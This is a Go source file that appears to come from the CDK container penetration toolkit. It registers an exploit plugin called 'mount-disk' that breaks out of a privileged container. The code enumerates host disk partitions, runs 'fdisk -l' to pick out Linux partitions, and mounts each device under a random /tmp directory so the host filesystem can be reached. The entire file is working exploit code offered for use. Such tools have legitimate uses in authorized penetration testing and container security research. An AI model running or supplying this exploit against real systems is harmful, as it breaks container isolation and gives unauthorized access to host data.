package exploit

import (
	"bytes"
	"encoding/json"
	"fmt"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"github.com/shirou/gopsutil/v3/disk"
	"log"
	"os"
	"os/exec"
	"regexp"
	"strings"
)

// add this to check if the container have device priv
func CheckFdisk() {
	_, err := exec.LookPath("fdisk")
	if err != nil {
		log.Println("cannot run `fdisk` command on target os")
		return
	}

	cmd := exec.Command("fdisk", "-l")

	var output bytes.Buffer
	cmd.Stdout = &output
	e := cmd.Run()
	if e != nil {
		log.Fatal("run command error :" + e.Error())
	}

	pattern := regexp.MustCompile("(?i)\\n/[^\\n]*linux(\\n|$)")
	params := pattern.FindAllStringSubmatch(output.String(), -1)
	for _, matched := range params {
		fmt.Printf("%s\n", strings.Join(matched, "\n"))

	}
}

// print all device and mount them to random path under /tmp
func AllDiskMount() (error, []string) {
	var exploitSuccess = false
	var mountedDirs []string
	var devices []string

	infos, _ := disk.Partitions(false)
	for _, info := range infos {
		devices = append(devices, info.Device)
		data, _ := json.MarshalIndent(info, "", "  ")
		fmt.Println(string(data))
	}
	devices = util.RemoveDuplicateElement(devices)
	log.Println("found", len(devices), "devices in total.")

	if len(devices) > 0 {
		for _, device := range devices {
			err, mountDir := MountToRandomTarget(device)
			if err != nil {
				log.Println(err)
			} else {
				mountedDirs = append(mountedDirs, mountDir)
				exploitSuccess = true
			}
		}
	}
	if exploitSuccess {
		return nil, mountedDirs
	} else {
		return errors.New("exploit mount-disk failed."), nil
	}
}

func MountToRandomTarget(device string) (error, string) {
	mountDir := fmt.Sprintf("/tmp/cdk_%s", util.RandString(5))
	err := os.MkdirAll(mountDir, os.ModePerm)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: fmt.Sprintf("fail to create mount dir in:%s", mountDir)}, ""
	}

	cmd := exec.Command("mount", device, mountDir)

	var output bytes.Buffer
	cmd.Stdout = &output
	e := cmd.Run()
	if e != nil {
		return &errors.CDKRuntimeError{Err: e, CustomMsg: "mount error. possible reason: target container is not privileged."}, ""
	}

	fmt.Printf("success! device %s was mounted to %s\n\n", device, mountDir)

	return nil, mountDir
}

// plugin interface
type mountDeviceS struct{}

func (p mountDeviceS) Desc() string {
	return "escape privileged container via disk mount, usage: `./cdk run mount-disk`"
}
func (p mountDeviceS) Run() bool {
	err, _ := AllDiskMount()
	if err != nil {
		log.Println(err)
		return false
	}
	return true
}

func init() {
	exploit := mountDeviceS{}
	plugin.RegisterExploit("mount-disk", exploit)
}
